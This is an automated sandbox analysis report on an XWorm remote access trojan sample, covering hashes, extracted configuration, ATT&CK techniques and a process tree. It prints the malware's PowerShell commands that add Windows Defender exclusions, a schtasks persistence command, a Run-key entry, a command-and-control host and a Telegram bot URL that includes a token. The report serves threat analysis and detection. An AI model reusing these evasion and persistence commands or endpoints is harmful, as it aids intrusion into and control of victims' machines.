xworm | a17f1c6a8aae506a53b296ff747f3e16698a767ab58d3286c0ea7e0f0e8770b7

Analysis

max time kernel
895s
max time network
898s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 12:02

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General

Target

XClient.exe
Size

81KB
MD5

fa26e7b6aced765ac2df5a0178f558eb
SHA1

71e0ea2f1ea09999fffe1615345ff8b72f7e9b59
SHA256

a17f1c6a8aae506a53b296ff747f3e16698a767ab58d3286c0ea7e0f0e8770b7
SHA512

41751d205ded76064789e2f14133abb9900b13de9f1333093da26ce0571908fe70f10a87dd4c086e033eb30241d7535d086e375dc4cc9aaa09b030e053dfe55e
SSDEEP

1536:d+SMyDcuUgxn9XZ01tqLCN8gMZeVFY09bO9Ve56Ym4t3uqp6Tv03OX6JYBG2jmaJ:w+3OYhgG09bO9VpRe3wv03OqJYB7jK+t

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

blood-pattern.gl.at.ply.gg:24558

Attributes

Install_directory
%AppData%
install_file
USB.exe
telegram
https://api.telegram.org/bot7704029346:AAHPre1lXQa0UfPCpOUXJZ9UXA9mFxvH4Gk/sendMessage?chat_id=7590668020

Signatures

Detect Xworm Payload 7 IoCs

resource	yara_rule
behavioral1/memory/2744-1-0x0000000000FC0000-0x0000000000FDA000-memory.dmp	family_xworm
behavioral1/files/0x000c0000000122ce-34.dat	family_xworm
behavioral1/memory/2772-36-0x0000000001320000-0x000000000133A000-memory.dmp	family_xworm
behavioral1/memory/660-49-0x0000000000110000-0x000000000012A000-memory.dmp	family_xworm
behavioral1/memory/1856-51-0x0000000000BF0000-0x0000000000C0A000-memory.dmp	family_xworm
behavioral1/memory/2072-53-0x0000000000250000-0x000000000026A000-memory.dmp	family_xworm
behavioral1/memory/2428-55-0x0000000000270000-0x000000000028A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2920	powershell.exe
3040	powershell.exe
2708	powershell.exe
576	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\security.lnk	XClient.exe

Executes dropped EXE 15 IoCs

pid	Process
2772	security
2120	security
912	security
2040	security
2808	security
2900	security
1656	security
1860	security
892	security
920	security
2460	security
660	security
1856	security
2072	security
2428	security

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\security = "C:\\Users\\Admin\\AppData\\Roaming\\security"	XClient.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3032	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2744	XClient.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2920	powershell.exe
2708	powershell.exe
3040	powershell.exe
576	powershell.exe
2744	XClient.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	XClient.exe
Token: SeDebugPrivilege	2920	powershell.exe
Token: SeDebugPrivilege	2708	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	576	powershell.exe
Token: SeDebugPrivilege	2744	XClient.exe
Token: SeDebugPrivilege	2772	security
Token: SeDebugPrivilege	2120	security
Token: SeDebugPrivilege	912	security
Token: SeDebugPrivilege	2040	security
Token: SeDebugPrivilege	2808	security
Token: SeDebugPrivilege	2900	security
Token: SeDebugPrivilege	1656	security
Token: SeDebugPrivilege	1860	security
Token: SeDebugPrivilege	892	security
Token: SeDebugPrivilege	920	security
Token: SeDebugPrivilege	2460	security
Token: SeDebugPrivilege	660	security
Token: SeDebugPrivilege	1856	security
Token: SeDebugPrivilege	2072	security
Token: SeDebugPrivilege	2428	security

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2744	XClient.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 2744 wrote to memory of 2920	2744	XClient.exe	31
PID 2744 wrote to memory of 2920	2744	XClient.exe	31
PID 2744 wrote to memory of 2920	2744	XClient.exe	31
PID 2744 wrote to memory of 2708	2744	XClient.exe	33
PID 2744 wrote to memory of 2708	2744	XClient.exe	33
PID 2744 wrote to memory of 2708	2744	XClient.exe	33
PID 2744 wrote to memory of 3040	2744	XClient.exe	35
PID 2744 wrote to memory of 3040	2744	XClient.exe	35
PID 2744 wrote to memory of 3040	2744	XClient.exe	35
PID 2744 wrote to memory of 576	2744	XClient.exe	37
PID 2744 wrote to memory of 576	2744	XClient.exe	37
PID 2744 wrote to memory of 576	2744	XClient.exe	37
PID 2744 wrote to memory of 3032	2744	XClient.exe	39
PID 2744 wrote to memory of 3032	2744	XClient.exe	39
PID 2744 wrote to memory of 3032	2744	XClient.exe	39
PID 2004 wrote to memory of 2772	2004	taskeng.exe	43
PID 2004 wrote to memory of 2772	2004	taskeng.exe	43
PID 2004 wrote to memory of 2772	2004	taskeng.exe	43
PID 2004 wrote to memory of 2120	2004	taskeng.exe	46
PID 2004 wrote to memory of 2120	2004	taskeng.exe	46
PID 2004 wrote to memory of 2120	2004	taskeng.exe	46
PID 2004 wrote to memory of 912	2004	taskeng.exe	47
PID 2004 wrote to memory of 912	2004	taskeng.exe	47
PID 2004 wrote to memory of 912	2004	taskeng.exe	47
PID 2004 wrote to memory of 2040	2004	taskeng.exe	49
PID 2004 wrote to memory of 2040	2004	taskeng.exe	49
PID 2004 wrote to memory of 2040	2004	taskeng.exe	49
PID 2004 wrote to memory of 2808	2004	taskeng.exe	50
PID 2004 wrote to memory of 2808	2004	taskeng.exe	50
PID 2004 wrote to memory of 2808	2004	taskeng.exe	50
PID 2004 wrote to memory of 2900	2004	taskeng.exe	51
PID 2004 wrote to memory of 2900	2004	taskeng.exe	51
PID 2004 wrote to memory of 2900	2004	taskeng.exe	51
PID 2004 wrote to memory of 1656	2004	taskeng.exe	52
PID 2004 wrote to memory of 1656	2004	taskeng.exe	52
PID 2004 wrote to memory of 1656	2004	taskeng.exe	52
PID 2004 wrote to memory of 1860	2004	taskeng.exe	53
PID 2004 wrote to memory of 1860	2004	taskeng.exe	53
PID 2004 wrote to memory of 1860	2004	taskeng.exe	53
PID 2004 wrote to memory of 892	2004	taskeng.exe	54
PID 2004 wrote to memory of 892	2004	taskeng.exe	54
PID 2004 wrote to memory of 892	2004	taskeng.exe	54
PID 2004 wrote to memory of 920	2004	taskeng.exe	55
PID 2004 wrote to memory of 920	2004	taskeng.exe	55
PID 2004 wrote to memory of 920	2004	taskeng.exe	55
PID 2004 wrote to memory of 2460	2004	taskeng.exe	56
PID 2004 wrote to memory of 2460	2004	taskeng.exe	56
PID 2004 wrote to memory of 2460	2004	taskeng.exe	56
PID 2004 wrote to memory of 660	2004	taskeng.exe	57
PID 2004 wrote to memory of 660	2004	taskeng.exe	57
PID 2004 wrote to memory of 660	2004	taskeng.exe	57
PID 2004 wrote to memory of 1856	2004	taskeng.exe	58
PID 2004 wrote to memory of 1856	2004	taskeng.exe	58
PID 2004 wrote to memory of 1856	2004	taskeng.exe	58
PID 2004 wrote to memory of 2072	2004	taskeng.exe	59
PID 2004 wrote to memory of 2072	2004	taskeng.exe	59
PID 2004 wrote to memory of 2072	2004	taskeng.exe	59
PID 2004 wrote to memory of 2428	2004	taskeng.exe	60
PID 2004 wrote to memory of 2428	2004	taskeng.exe	60
PID 2004 wrote to memory of 2428	2004	taskeng.exe	60

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'security'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:576
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "security" /tr "C:\Users\Admin\AppData\Roaming\security"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3032

C:\Windows\system32\taskeng.exe
taskeng.exe {E592E52E-5179-4FFF-9A23-44A9DEC89BCC} S-1-5-21-312935884-697965778-3955649944-1000:MXQFNXLT\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2004
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2772
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2120
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:912
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2040
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2808
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2900
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1656
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1860
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:892
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:920
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2460
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:660
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1856
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2072
- C:\Users\Admin\AppData\Roaming\security
  C:\Users\Admin\AppData\Roaming\security
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2428

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1WLERWETZX8VQWJBQE7R.temp

Filesize
7KB

MD5
8e631eee687233645acb3b8415a9cd84

SHA1
6db50f470c8058f577f82c56e1d6631db44ba174

SHA256
43fa3548dd85528575a361d83b7e4ddbda7a3d06210e107302ba21f44e93f7e3

SHA512
6b75057256d4a7fe1a32abc1168b7751eaac258c5991b29950e763880e6e1d8708dcf8dea9b784bf119ac3966205f60b848b802df9a4da075469ffa6aaf12130

Download Submit
C:\Users\Admin\AppData\Roaming\security

Filesize
81KB

MD5
fa26e7b6aced765ac2df5a0178f558eb

SHA1
71e0ea2f1ea09999fffe1615345ff8b72f7e9b59

SHA256
a17f1c6a8aae506a53b296ff747f3e16698a767ab58d3286c0ea7e0f0e8770b7

SHA512
41751d205ded76064789e2f14133abb9900b13de9f1333093da26ce0571908fe70f10a87dd4c086e033eb30241d7535d086e375dc4cc9aaa09b030e053dfe55e

Download Submit
memory/660-49-0x0000000000110000-0x000000000012A000-memory.dmp

Filesize
104KB

Download
memory/1856-51-0x0000000000BF0000-0x0000000000C0A000-memory.dmp

Filesize
104KB

Download
memory/2072-53-0x0000000000250000-0x000000000026A000-memory.dmp

Filesize
104KB

Download
memory/2428-55-0x0000000000270000-0x000000000028A000-memory.dmp

Filesize
104KB

Download
memory/2708-15-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2708-14-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2744-30-0x000000001B0E0000-0x000000001B160000-memory.dmp

Filesize
512KB

Download
memory/2744-31-0x000007FEF6623000-0x000007FEF6624000-memory.dmp

Filesize
4KB

Download
memory/2744-32-0x000000001B0E0000-0x000000001B160000-memory.dmp

Filesize
512KB

Download
memory/2744-1-0x0000000000FC0000-0x0000000000FDA000-memory.dmp

Filesize
104KB

Download
memory/2744-0-0x000007FEF6623000-0x000007FEF6624000-memory.dmp

Filesize
4KB

Download
memory/2772-36-0x0000000001320000-0x000000000133A000-memory.dmp

Filesize
104KB

Download
memory/2920-7-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2920-8-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download
memory/2920-6-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download